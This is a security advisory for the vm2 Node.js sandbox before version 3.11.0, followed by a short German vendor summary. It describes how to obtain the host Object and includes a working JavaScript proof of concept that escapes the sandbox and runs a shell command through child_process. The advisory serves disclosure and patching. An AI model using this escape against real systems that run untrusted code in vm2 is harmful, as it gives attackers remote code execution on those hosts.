vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, it is possible to obtain the host Object. There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom). This vulnerability is fixed in 3.11.0.

GHSA-47x8-96vw-5wg6 — vm2 Access to Host Object Enables Sandbox Escape

Affected: npm: vm2

### Summary

It is possible to obtain the host `Object`, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but the implementation is incomplete.

### Details

There are various ways to use the host `Object`, to escape the sandbox, one example would be using `HostObject.getOwnPropertySymbols` to obtain `Symbol(nodejs.util.inspect.custom)`

### PoC

```js const g = {}.__lookupGetter__; const a = Buffer.apply; const p = a.apply(g, [Buffer, ['__proto__']]); const o = p.call(p.call(a)); const HObject = o.constructor; sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);

const obj = { [sym]: (depth, opt, inspect) => { inspect.constructor("return process.getBuiltinModule('child_process').execSync('ls',{stdio:'inherit'})")(); }, valueOf: undefined, constructor: undefined, };

WebAssembly.compileStreaming(obj).catch(() => {}); ```

### Impact

Sandbox Escape -> RCE

WID-SEC-W-2026-1349 — vm2: Mehrere Schwachstellen

Ein Angreifer kann mehrere Schwachstellen in vm2 ausnutzen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, und um Sicherheitsvorkehrungen zu umgehen.
